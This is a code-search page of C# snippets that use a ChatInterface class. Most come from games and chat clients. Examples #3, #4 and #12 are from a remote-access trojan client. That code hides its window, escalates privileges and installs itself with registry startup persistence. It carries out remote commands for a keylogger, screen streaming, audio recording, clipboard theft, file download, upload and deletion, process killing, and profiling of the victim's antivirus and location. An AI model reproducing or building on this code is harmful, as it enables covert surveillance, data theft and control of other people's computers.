Пример #1
0
 public ChatApiController()
 {
     userService        = new UserRepository();
     chatService        = new ChatRepository();
     messageService     = new MessageRepository();
     chatRequestService = new ChatRequestRepository();
     this.eventService  = new EventService();
 }
Пример #2
0
        private void TakeScreenshot()
        {
            var path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile),
                                    ".truecraft", "screenshots", DateTime.Now.ToString("yyyy-MM-dd_H.mm.ss") + ".png");

            if (!Directory.Exists(Path.GetDirectoryName(path)))
            {
                Directory.CreateDirectory(Path.GetDirectoryName(path));
            }
            using (var stream = File.OpenWrite(path))
                new PngWriter().Write(RenderTarget, stream);
            ChatInterface.AddMessage(string.Format("Screenshot saved as {0}", Path.GetFileName(path)));
        }
Пример #3
0
        //Check settings and start connect
        private static void Main(string[] args)
        {
            UpdateInterval = Convert.ToInt16(ClientSettings.UpdateInterval);
            var handle = GetConsoleWindow();

            ShowWindow(handle, SW_HIDE);
            FreeConsole();
            ShowWindow(handle, SW_SHOW);
            EnableVisualStyles();
            CI = new ChatInterface();
            if (ClientSettings.Install == "True" && !IsInstalled())
            {
                if (!IsAdmin())
                {
                    RaisePerms();
                }
                if (!IsInstalled())
                {
                    File.Copy(ExecutablePath, InstallDirectory, true);
                    Process.Start(InstallDirectory);
                    Environment.Exit(0);
                }
                else
                {
                    if (ClientSettings.Startup == "True")
                    {
                        RegistryKey RK =
                            Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        try
                        {
                            RK.DeleteValue("VCLIENT", false);
                        }
                        catch
                        {
                        }

                        try
                        {
                            RK.SetValue("VCLIENT", ExecutablePath);
                        }
                        catch
                        {
                        }
                    }
                }
            }

            Connect();
            Console.ReadKey();
        }
Пример #4
0
 private static void CloseChatForm()
 {
     try
     {
         ChatThread.Abort();
         Thread.Sleep(100);
         ChatThread = new Thread(OpenChatForm);
         CI         = new ChatInterface();
     }
     catch
     {
         List <byte> ToSend = new List <byte>();
         ToSend.Add(1); //Notification type
         ToSend.AddRange(Encoding.ASCII.GetBytes("The clients chat could not be closed. Try again."));
         Networking.MainClient.Send(ToSend.ToArray());
     }
 }
Пример #5
0
        public void updateOnThisClientExit()
        {
            removeAsEventListener();

            List <string> channelsIdKeys = new List <string>(channelsMap.Keys);

            foreach (string key in channelsIdKeys)
            {
                Channel ch = channelsMap[key];
                channelsMap.Remove(ch.getName());
                ChatInterface chatInterface = getChatInterface();
                if (chatInterface != null)
                {
                    chatInterface.onChannelLeave(ch);
                }
            }
        }
Пример #6
0
        protected override void LoadContent()
        {
            // Ensure we have default textures loaded.
            TextureMapper.LoadDefaults(GraphicsDevice);

            // Load any custom textures if needed.
            TextureMapper = new TextureMapper(GraphicsDevice);
            if (UserSettings.Local.SelectedTexturePack != TexturePack.Default.Name)
            {
                TextureMapper.AddTexturePack(TexturePack.FromArchive(Path.Combine(TexturePack.TexturePackPath, UserSettings.Local.SelectedTexturePack)));
            }

            Pixel = new FontRenderer(
                new Font(Content, "Fonts/Pixel", FontStyle.Regular),
                new Font(Content, "Fonts/Pixel", FontStyle.Bold),
                null, // No support for underlined or strikethrough yet. The FontRenderer will revert to using the regular font style.
                null, // (I don't think BMFont has those options?)
                new Font(Content, "Fonts/Pixel", FontStyle.Italic));
            Interfaces.Add(ChatInterface  = new ChatInterface(Client, KeyboardComponent, Pixel));
            Interfaces.Add(DebugInterface = new DebugInterface(Client, Pixel));

            ChatInterface.IsVisible  = true;
            DebugInterface.IsVisible = true;

            OpaqueEffect = new BasicEffect(GraphicsDevice);
            OpaqueEffect.EnableDefaultLighting();
            OpaqueEffect.DirectionalLight0.SpecularColor = Color.Black.ToVector3();
            OpaqueEffect.DirectionalLight1.SpecularColor = Color.Black.ToVector3();
            OpaqueEffect.DirectionalLight2.SpecularColor = Color.Black.ToVector3();
            OpaqueEffect.TextureEnabled     = true;
            OpaqueEffect.Texture            = TextureMapper.GetTexture("terrain.png");
            OpaqueEffect.FogEnabled         = true;
            OpaqueEffect.FogStart           = 512f;
            OpaqueEffect.FogEnd             = 1000f;
            OpaqueEffect.FogColor           = Color.CornflowerBlue.ToVector3();
            OpaqueEffect.VertexColorEnabled = true;

            TransparentEffect = new AlphaTestEffect(GraphicsDevice);
            TransparentEffect.AlphaFunction      = CompareFunction.Greater;
            TransparentEffect.ReferenceAlpha     = 127;
            TransparentEffect.Texture            = TextureMapper.GetTexture("terrain.png");
            TransparentEffect.VertexColorEnabled = true;

            base.LoadContent();
        }
Пример #7
0
        static void Main(string[] args)
        {
            Console.WriteLine("Enter your name");
            var name = Console.ReadLine();

            var chatClient    = new MqttChatClient(name);
            var userInterface = new ChatInterface();
            var configuration = new ClientConfiguration()
            {
                ClientId             = "Client_" + name,
                Host                 = "localhost",
                Port                 = 1883,
                KeepAlivePeriod      = 50000,
                CommunicationTimeout = 50000
            };

            IChatService chatService = new ChatService(userInterface, chatClient, configuration);

            chatService.Start();
        }
Пример #8
0
 public AccountController()
 {
     chatService = new ChatRepository();
 }
Пример #9
0
        /// <summary>
        /// Call this whenever the report command is fired. This will handle reporting, logging, and banning.
        /// </summary>
        /// <param name="data">The command data.</param>
        /// <param name="source">The source of the report.</param>
        public void HandleReport(string data, IPlayerChatEvent source)
        {
            if (data.Count(x => x == "'"[0]) != 2)
            {
                ChatInterface.SafeMultiMessage(source.Game,
                                               "Invalid format. Please use : \"/report hacking Player's name 'Describe the cheat here'\"!",
                                               Structures.BroadcastType.Error, "(server/private)", source.ClientPlayer);
                return;
            }

            if (data.StartsWith("hacking "))
            {
                data = data.Remove(0, 8);
                int pFrom   = data.IndexOf("'", StringComparison.InvariantCultureIgnoreCase) + 1;
                int pTo     = data.LastIndexOf("'", StringComparison.CurrentCultureIgnoreCase);
                var message = data.Substring(pFrom, pTo - pFrom);
                data = new string(data.Take(pFrom - 2 /*we need to remove the ' and the space.*/).ToArray());
                foreach (var client in source.Game.Players)
                {
                    if (client.Character.PlayerInfo.PlayerName.Equals(data))
                    {
                        lock (IpReports)
                        {
                            bool updated = false;
                            for (int i = 0; i < IpReports.Count; i++)
                            {
                                if (IpReports[i].Target.Equals(client.Client.Connection.EndPoint.Address.ToString()))
                                {
                                    updated = true;
                                    if (IpReports[i].TotalReports >= ReportsPerBan)
                                    {
                                        client.BanAsync();
                                        AddPermBan(IpReports[i]);
                                        IpReports.Remove(IpReports[i]);
                                        ChatInterface.SafeMultiMessage(source.Game,
                                                                       $"\"{client.Character.PlayerInfo.PlayerName}\" has been permanently banned.",
                                                                       Structures.BroadcastType.Warning);
                                    }
                                    else
                                    {
                                        lock (IpReports)
                                        {
                                            updated = true;
                                            if (!IpReports[i].Sources.Contains(source.ClientPlayer.Client
                                                                               .Connection.EndPoint.Address.ToString()))
                                            {
                                                IpReports[i].TotalReports += 1;
                                                IpReports[i].Messages.Add(message);
                                                IpReports[i].Sources.Add(source.ClientPlayer.Client
                                                                         .Connection
                                                                         .EndPoint.Address.ToString());
                                                ChatInterface.SafeMultiMessage(source.Game,
                                                                               $"Your report has been filed successfully. The offender has {IpReports[i].TotalReports} complaints now.",
                                                                               Structures.BroadcastType.Information, "(server complaints/private)",
                                                                               source.ClientPlayer);
                                            }
                                            else
                                            {
                                                ChatInterface.SafeMultiMessage(source.Game,
                                                                               $"You cannot report the offender again. He will be taken care of.",
                                                                               Structures.BroadcastType.Error, "(server/error/private)",
                                                                               source.ClientPlayer);
                                            }
                                        }
                                    }
                                }
                            }

                            if (!updated)
                            {
                                var report = new JusticeSystem.Report
                                {
                                    TargetName   = client.Character.PlayerInfo.PlayerName,
                                    TotalReports = 1,
                                    Target       = client.Client.Connection.EndPoint.Address.ToString(),
                                    Sources      = new List <string>()
                                };
                                report.Sources.Add(source.ClientPlayer.Client.Connection.EndPoint.Address.ToString());
                                lock (IpReports) IpReports.Add(report);
                                ChatInterface.SafeMultiMessage(source.Game,
                                                               $"A criminal record has been created for {client.Character.PlayerInfo.PlayerName}!",
                                                               Structures.BroadcastType.Information, "(server complaints/private)",
                                                               source.ClientPlayer);
                            }
                        }

                        return;
                    }
                }

                ChatInterface.SafeMultiMessage(source.Game, "Could not find player", Structures.BroadcastType.Warning,
                                               "(server/warn)", source.ClientPlayer);
            }
        }
Пример #10
0
 // Start is called before the first frame update
 void Start()
 {
     chatInterface = FindObjectOfType <ChatInterface>();
     player        = FindObjectOfType <PlayerController>();
 }
        static void Main(string[] args) //If you run this with the argument '192.168.1.2', it'll use that as the server address to connect to.
        {
            Console.WriteLine("Welcome to the Group 2 Chat Client!");
            Console.WriteLine("\n Enter your client ID.");
            string clientID = Console.ReadLine();

            Console.WriteLine("\n Enter your client password.");
            string password = Console.ReadLine();
            string serverIP = "";

            if (args.Length == 0) //If the console has not accepted any arguments, ask for the IP.
            {
                Console.WriteLine("\n Please enter the IP address of the server. (Example: 1.1.1.1)");
                serverIP = Console.ReadLine();
            }
            else
            {
                serverIP = args[0];
            }
            UDPConnection udpConnection = new UDPConnection(clientID, password, serverIP);
            string        response      = udpConnection.UDPConnect();

            if (response.Equals("FAIL"))
            {
                Console.ReadKey();
                Main(args);
            }
            int[]         cookie_port   = UDPConnection.udpParse(response);
            TCPConnection tcpConnection = new TCPConnection(cookie_port[0], new IPEndPoint(IPAddress.Parse(serverIP), cookie_port[1]), udpConnection.privateKeyCipher);
            bool          connected     = tcpConnection.TCPConnect();

            if (!connected)
            {
            }

            string         chatPartner = null;
            int            sessionID   = 0;
            State          state       = State.None;
            bool           running     = true;
            Queue <string> queue       = new Queue <string>();

            ChatInterface chatInterface = new ChatInterface(Console.WindowWidth, Console.WindowHeight);

            Console.Clear();
            chatInterface.PushMessage(string.Format("Connected to server as: {0}", clientID));

            Thread listenThread = new Thread(() => {
                try {
                    while (running)
                    {
                        string message = tcpConnection.receive();
                        lock (queue) {
                            queue.Enqueue(message);
                        }
                    }
                }
                catch (SocketException) {
                    Console.Clear();
                    Console.WriteLine("Logged off");
                }
            });

            listenThread.Start();

            while (true)
            {
                Thread.Sleep(20);
                lock (queue) {
                    while (queue.Count > 0)
                    {
                        string   serverMessage = queue.Dequeue();
                        string[] tokens        = serverMessage.Split(' ');

                        if (tokens[0] == "UNREACHABLE")
                        {
                            Console.WriteLine("{0} is unreachable", tokens[1]);
                        }
                        else if (tokens[0] == "CHAT_STARTED")
                        {
                            sessionID   = int.Parse(tokens[1]);
                            chatPartner = tokens[2];
                            state       = State.Chatting;
                            chatInterface.PushMessage(string.Format("Connected to {0}", tokens[2]));
                        }
                        else if (tokens[0] == "END_NOTIF")
                        {
                            state = State.None;
                            chatInterface.PushMessage(string.Format("Chat ended with {0}", chatPartner));
                            chatPartner = null;
                        }
                        else if (tokens[0] == "HISTORY")
                        {
                            string[] history = serverMessage.Substring(8).Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                            foreach (var line in history)
                            {
                                chatInterface.PushMessage(line);
                            }
                        }
                        else
                        {
                            chatInterface.PushMessage(stringSplit(serverMessage)[1]);
                        }
                    }
                }

                string input = chatInterface.Update();
                if (input == null)
                {
                    continue;
                }

                if (state == State.None)
                {
                    string[] tokens = input.Split(' ');

                    if (tokens[0] == "chat")
                    {
                        tcpConnection.send(input);
                    }
                    else if (tokens[0] == "logoff")
                    {
                        running = false;
                        tcpConnection.Terminate();
                        break;
                    }
                    else if (tokens[0] == "history")
                    {
                        tcpConnection.send(input);
                    }
                    else
                    {
                        chatInterface.PushMessage("Unrecognized command");
                    }
                }
                else if (state == State.Chatting)
                {
                    if (input == "endchat")
                    {
                        tcpConnection.send("END_REQUEST");
                    }
                    else
                    {
                        tcpConnection.send(string.Format("CHAT {0}", input));
                    }
                }

                if (!running)
                {
                    break;
                }
            }

            listenThread.Join();
        }
Пример #12
0
        private static void HandleData(byte[] RawData)
        {
            if (ReceivingFile)
            {
                try
                {
                    File.WriteAllBytes(FileToWrite, RawData);
                    string Directory = CurrentDirectory;
                    if (Directory.Equals("BaseDirectory"))
                    {
                        Directory = Path.GetPathRoot(Environment.SystemDirectory);
                    }
                    string        Files = string.Empty;
                    DirectoryInfo DI    = new DirectoryInfo(Directory);
                    foreach (var F in DI.GetDirectories())
                    {
                        Files += "][{" + F.FullName + "}<" + "Directory" + ">[" + F.CreationTime + "]";
                    }
                    foreach (FileInfo F in DI.GetFiles())
                    {
                        Files += "][{" + Path.GetFileNameWithoutExtension(F.FullName) + "}<" + F.Extension + ">[" +
                                 F.CreationTime + "]";
                    }
                    List <byte> ToSend = new List <byte>();
                    ToSend.Add(5); //File List Type
                    ToSend.AddRange(Encoding.ASCII.GetBytes(Files));
                    Networking.MainClient.Send(ToSend.ToArray());
                    ToSend.Clear();
                    ToSend.Add(1); //Notification Type
                    ToSend.AddRange(
                        Encoding.ASCII.GetBytes("The file " + Path.GetFileName(FileToWrite) + " was uploaded."));
                    Networking.MainClient.Send(ToSend.ToArray());
                }
                catch
                {
                }

                ReceivingFile = false;
                return;
            }
            string StringForm = string.Empty;

            try
            {
                StringForm = Encoding.ASCII.GetString(RawData);
                Console.WriteLine("Command Recieved From " + ClientSettings.DNS + "   (" + StringForm + ")");
            }
            catch
            {
            }

            if (StringForm == "KillClient")
            {
                if (ChatThread.ThreadState == ThreadState.Running)
                {
                    CloseChatForm();
                }
                UninstallClient();
                try
                {
                    Process.GetCurrentProcess().Kill();
                } catch { Environment.Exit(0); }
            }
            else if (StringForm == "DisconnectClient")
            {
                Networking.MainClient.Disconnect();
            }
            else if (StringForm == "ShowClientConsole")
            {
                var handle = GetConsoleWindow();
                ShowWindow(handle, SW_SHOW);
                List <byte> ToSend = new List <byte>();
                ToSend.Add(1); //Notification Type
                ToSend.AddRange(Encoding.ASCII.GetBytes("Console has been shown to client."));
                Networking.MainClient.Send(ToSend.ToArray());
            }
            else if (StringForm.Contains("MsgBox"))
            {
                string            ToBreak      = GetSubstringByString("(", ")", StringForm);
                string            Text         = GetSubstringByString("<", ">", ToBreak);
                string            Header       = GetSubstringByString("[", "]", ToBreak);
                string            ButtonString = GetSubstringByString("{", "}", ToBreak);
                string            IconString   = GetSubstringByString("/", @"\", ToBreak);
                MessageBoxButtons MBB          = MessageBoxButtons.OK;
                MessageBoxIcon    MBI          = MessageBoxIcon.None;

                #region Button & Icon conditional statements

                if (ButtonString.Equals("Abort Retry Ignore"))
                {
                    MBB = MessageBoxButtons.AbortRetryIgnore;
                }
                else if (ButtonString.Equals("OK"))
                {
                    MBB = MessageBoxButtons.OK;
                }
                else if (ButtonString.Equals("OK Cancel"))
                {
                    MBB = MessageBoxButtons.OKCancel;
                }
                else if (ButtonString.Equals("Retry Cancel"))
                {
                    MBB = MessageBoxButtons.RetryCancel;
                }
                else if (ButtonString.Equals("Yes No"))
                {
                    MBB = MessageBoxButtons.YesNo;
                }
                else if (ButtonString.Equals("Yes No Cancel"))
                {
                    MBB = MessageBoxButtons.YesNoCancel;
                }

                if (IconString.Equals("Asterisk"))
                {
                    MBI = MessageBoxIcon.Asterisk;
                }
                else if (IconString.Equals("Error"))
                {
                    MBI = MessageBoxIcon.Error;
                }
                else if (IconString.Equals("Exclamation"))
                {
                    MBI = MessageBoxIcon.Exclamation;
                }
                else if (IconString.Equals("Hand"))
                {
                    MBI = MessageBoxIcon.Hand;
                }
                else if (IconString.Equals("Information"))
                {
                    MBI = MessageBoxIcon.Information;
                }
                else if (IconString.Equals("None"))
                {
                    MBI = MessageBoxIcon.None;
                }
                else if (IconString.Equals("Question"))
                {
                    MBI = MessageBoxIcon.Question;
                }
                else if (IconString.Equals("Stop"))
                {
                    MBI = MessageBoxIcon.Stop;
                }
                else if (IconString.Equals("Warning"))
                {
                    MBI = MessageBoxIcon.Warning;
                }

                #endregion Button & Icon conditional statements

                MessageBox.Show(Text, Header, MBB, MBI);
            }
            else if (StringForm.Equals("StartRD"))
            {
                RemoteDesktopStream.Start();
            }
            else if (StringForm.Equals("StopRD"))
            {
                RemoteDesktopStream.Stop();
            }
            else if (StringForm.Equals("GetProcesses"))
            {
                Process[]     PL          = Process.GetProcesses();
                List <string> ProcessList = new List <string>();
                foreach (Process P in PL)
                {
                    ProcessList.Add("{" + P.ProcessName + "}<" + P.Id + ">[" + P.MainWindowTitle + "]");
                }
                string[]    StringArray = ProcessList.ToArray <string>();
                List <byte> ToSend      = new List <byte>();
                ToSend.Add(3); //Process List Type
                string ListString = "";
                foreach (string Process in StringArray)
                {
                    ListString += "][" + Process;
                }
                ToSend.AddRange(Encoding.ASCII.GetBytes(ListString));
                Networking.MainClient.Send(ToSend.ToArray());
            }
            else if (StringForm.Contains("EndProcess("))
            {
                string ToEnd = GetSubstringByString("(", ")", StringForm);
                try
                {
                    Process P    = Process.GetProcessById(Convert.ToInt16(ToEnd));
                    string  Name = P.ProcessName;
                    P.Kill();
                    List <byte> ToSend = new List <byte>();
                    ToSend.Add(1); //Notification Type
                    ToSend.AddRange(Encoding.ASCII.GetBytes("The process " + P.ProcessName + " was killed."));
                    Networking.MainClient.Send(ToSend.ToArray());
                }
                catch
                {
                }
            }
            else if (StringForm.Contains("OpenWebsite("))
            {
                string ToOpen = GetSubstringByString("(", ")", StringForm);
                try
                {
                    Process.Start(ToOpen);
                }
                catch
                {
                }

                List <byte> ToSend = new List <byte>();
                ToSend.Add(1); //Notification Type
                ToSend.AddRange(Encoding.ASCII.GetBytes("The website " + ToOpen + " was opened."));
                Networking.MainClient.Send(ToSend.ToArray());
            }
            else if (StringForm.Equals("GetComputerInfo"))
            {
                string        ListString       = "";
                List <string> ComputerInfoList = new List <string>();
                ComputerInfo.GetGeoInfo();
                ComputerInfoList.Add("Computer Name: " + ComputerInfo.GetName());
                ComputerInfoList.Add("Computer CPU: " + ComputerInfo.GetCPU());
                ComputerInfoList.Add("Computer GPU: " + ComputerInfo.GetGPU());
                ComputerInfoList.Add("Computer Ram Amount (MB): " + ComputerInfo.GetRamAmount());
                ComputerInfoList.Add("Computer Antivirus: " + ComputerInfo.GetAntivirus());
                ComputerInfoList.Add("Computer OS: " + ComputerInfo.GetWindowsVersion());
                ComputerInfoList.Add("Country: " + ComputerInfo.GeoInfo.Country);
                ComputerInfoList.Add("Region Name: " + ComputerInfo.GeoInfo.RegionName);
                ComputerInfoList.Add("City: " + ComputerInfo.GeoInfo.City);
                foreach (string Info in ComputerInfoList.ToArray())
                {
                    ListString += "," + Info;
                }
                List <byte> ToSend = new List <byte>();
                ToSend.Add(4); //Information Type
                ToSend.AddRange(Encoding.ASCII.GetBytes(ListString));
                Networking.MainClient.Send(ToSend.ToArray());
            }
            else if (StringForm.Equals("RaisePerms"))
            {
                Process P = new Process();
                P.StartInfo.FileName        = ExecutablePath;
                P.StartInfo.UseShellExecute = true;
                P.StartInfo.Verb            = "runas";
                List <byte> ToSend = new List <byte>();
                ToSend.Add(1); //Notification Type
                ToSend.AddRange(Encoding.ASCII.GetBytes("Client is restarting in administration mode."));
                P.Start();
                Networking.MainClient.Send(ToSend.ToArray());
                Environment.Exit(0);
            }
            else if (StringForm.Contains("GetDF{"))
            {
                try
                {
                    string Directory = GetSubstringByString("{", "}", StringForm);
                    if (Directory.Equals("BaseDirectory"))
                    {
                        Directory = Path.GetPathRoot(Environment.SystemDirectory);
                    }
                    string        Files = string.Empty;
                    DirectoryInfo DI    = new DirectoryInfo(Directory);
                    foreach (var F in DI.GetDirectories())
                    {
                        Files += "][{" + F.FullName + "}<" + "Directory" + ">[" + F.CreationTime + "]";
                    }
                    foreach (FileInfo F in DI.GetFiles())
                    {
                        Files += "][{" + Path.GetFileNameWithoutExtension(F.FullName) + "}<" + F.Extension + ">[" +
                                 F.CreationTime + "]";
                    }
                    List <byte> ToSend = new List <byte>();
                    ToSend.Add(5); //File List Type
                    ToSend.AddRange(Encoding.ASCII.GetBytes(Files));
                    Networking.MainClient.Send(ToSend.ToArray());
                    CurrentDirectory = Directory;
                    ToSend.Clear();
                    ToSend.Add(6); //Current Directory Type
                    ToSend.AddRange(Encoding.ASCII.GetBytes(CurrentDirectory));
                    Networking.MainClient.Send(ToSend.ToArray());
                }
                catch
                {
                }
            }
            else if (StringForm.Contains("GoUpDir"))
            {
                try
                {
                    List <byte> ToSend = new List <byte>();
                    ToSend.Add(7); //Directory Up Type
                    CurrentDirectory = Directory.GetParent(CurrentDirectory).ToString();
                    ToSend.AddRange(Encoding.ASCII.GetBytes(CurrentDirectory));
                    Networking.MainClient.Send(ToSend.ToArray());
                }
                catch
                {
                }
            }
            else if (StringForm.Contains("GetFile"))
            {
                try
                {
                    string FileString = GetSubstringByString("{", "}", StringForm);
                    byte[] FileBytes;
                    using (FileStream FS = new FileStream(FileString, FileMode.Open))
                    {
                        FileBytes = new byte[FS.Length];
                        FS.Read(FileBytes, 0, FileBytes.Length);
                    }

                    List <byte> ToSend = new List <byte>();
                    ToSend.Add(8); //File Type
                    ToSend.AddRange(FileBytes);
                    Networking.MainClient.Send(ToSend.ToArray());
                }
                catch (Exception EX)
                {
                    List <byte> ToSend = new List <byte>();
                    ToSend.Add(1);
                    ToSend.AddRange(Encoding.ASCII.GetBytes("Error Downloading: " + EX.Message + ")"));
                    Networking.MainClient.Send(ToSend.ToArray());
                }
            }
            else if (StringForm.Contains("StartFileReceive{"))
            {
                try
                {
                    FileToWrite = GetSubstringByString("{", "}", StringForm);
                    var Stream = File.Create(FileToWrite);
                    Stream.Close();
                    ReceivingFile = true;
                }
                catch
                {
                }
            }
            else if (StringForm.Contains("TryOpen{"))
            {
                string ToOpen = GetSubstringByString("{", "}", StringForm);
                try
                {
                    Process.Start(ToOpen);
                    List <byte> ToSend = new List <byte>();
                    ToSend.Add(1); //Notification Type
                    ToSend.AddRange(Encoding.ASCII.GetBytes("The file " + Path.GetFileName(ToOpen) + " was opened."));
                    Networking.MainClient.Send(ToSend.ToArray());
                }
                catch
                {
                }
            }
            else if (StringForm.Contains("DeleteFile{"))
            {
                try
                {
                    string ToDelete = GetSubstringByString("{", "}", StringForm);
                    File.Delete(ToDelete);
                    List <byte> ToSend = new List <byte>();
                    ToSend.Add(1); //Notification Type
                    ToSend.AddRange(
                        Encoding.ASCII.GetBytes("The file " + Path.GetFileName(ToDelete) + " was deleted."));
                    Networking.MainClient.Send(ToSend.ToArray());
                    string Directory = CurrentDirectory;
                    if (Directory.Equals("BaseDirectory"))
                    {
                        Directory = Path.GetPathRoot(Environment.SystemDirectory);
                    }
                    string        Files = string.Empty;
                    DirectoryInfo DI    = new DirectoryInfo(Directory);
                    foreach (var F in DI.GetDirectories())
                    {
                        Files += "][{" + F.FullName + "}<" + "Directory" + ">[" + F.CreationTime + "]";
                    }
                    foreach (FileInfo F in DI.GetFiles())
                    {
                        Files += "][{" + Path.GetFileNameWithoutExtension(F.FullName) + "}<" + F.Extension + ">[" +
                                 F.CreationTime + "]";
                    }
                    ToSend.Clear();
                    ToSend.Add(5); //File List Type
                    ToSend.AddRange(Encoding.ASCII.GetBytes(Files));
                    Networking.MainClient.Send(ToSend.ToArray());
                }
                catch
                {
                }
            }
            else if (StringForm.Equals("GetClipboard"))
            {
                try
                {
                    string ClipboardText = "Clipboard is empty or contains an invalid data type.";
                    Thread STAThread     = new Thread(
                        delegate()
                    {
                        if (Clipboard.ContainsText(TextDataFormat.Text))
                        {
                            ClipboardText = Clipboard.GetText(TextDataFormat.Text);
                        }
                    });
                    STAThread.SetApartmentState(ApartmentState.STA);
                    STAThread.Start();
                    STAThread.Join();
                    List <byte> ToSend = new List <byte>();
                    ToSend.Add(9); //Clipboard Text Type
                    ToSend.AddRange(Encoding.ASCII.GetBytes(ClipboardText));
                    Networking.MainClient.Send(ToSend.ToArray());
                }
                catch
                {
                }
            }
            else if (StringForm.Equals("StartUsageStream"))
            {
                HardwareUsageStream.Start();
            }
            else if (StringForm.Equals("StopUsageStream"))
            {
                HardwareUsageStream.Stop();
            }
            else if (StringForm.Equals("StartKL"))
            {
                KeyloggerStream.Start();
            }
            else if (StringForm.Equals("StopKL"))
            {
                KeyloggerStream.Stop();
            }
            else if (StringForm.Equals("StartAR"))

            {
                if (!ARActive)
                {
                    RecordAudio();
                }
            }
            else if (StringForm.Equals("StopAR"))
            {
                if (ARActive)
                {
                    StopRecordAudio();
                }
            }
            else if (StringForm.Equals("OpenChat"))
            {
                if (!CActive)
                {
                    CActive = true;
                    CI      = new ChatInterface();
                    ChatThread.Start();
                }
            }
            else if (StringForm.Equals("CloseChat"))
            {
                if (CActive)
                {
                    CActive = false;
                    Networking.ChatClosing = true;
                    Thread.Sleep(200);
                    CloseChatForm();
                }
            }
            else if (StringForm.Contains("[<MESSAGE>]"))
            {
                Networking.CurrentMessage = StringForm.Replace("[<MESSAGE>]", "");
            }
            else if (StringForm.Equals("ToggleAntiProcess"))
            {
                if (!APDisabled)
                {
                    APDisabled = true;
                    AntiProcess.StartBlock();
                    List <byte> ToSend = new List <byte>();
                    ToSend.Add(1); //Notification Type
                    ToSend.AddRange(Encoding.ASCII.GetBytes("Started Anti-Process."));
                    Networking.MainClient.Send(ToSend.ToArray());
                }
                else if (APDisabled)
                {
                    APDisabled = false;
                    AntiProcess.StopBlock();
                    List <byte> ToSend = new List <byte>();
                    ToSend.Add(1); //Notification Type
                    ToSend.AddRange(Encoding.ASCII.GetBytes("Stopped Anti-Process."));
                    Networking.MainClient.Send(ToSend.ToArray());
                }
            }
        }
Пример #13
0
 public void setChatInterface(ChatInterface chatInterface)
 {
     this.chatInterface = chatInterface;
 }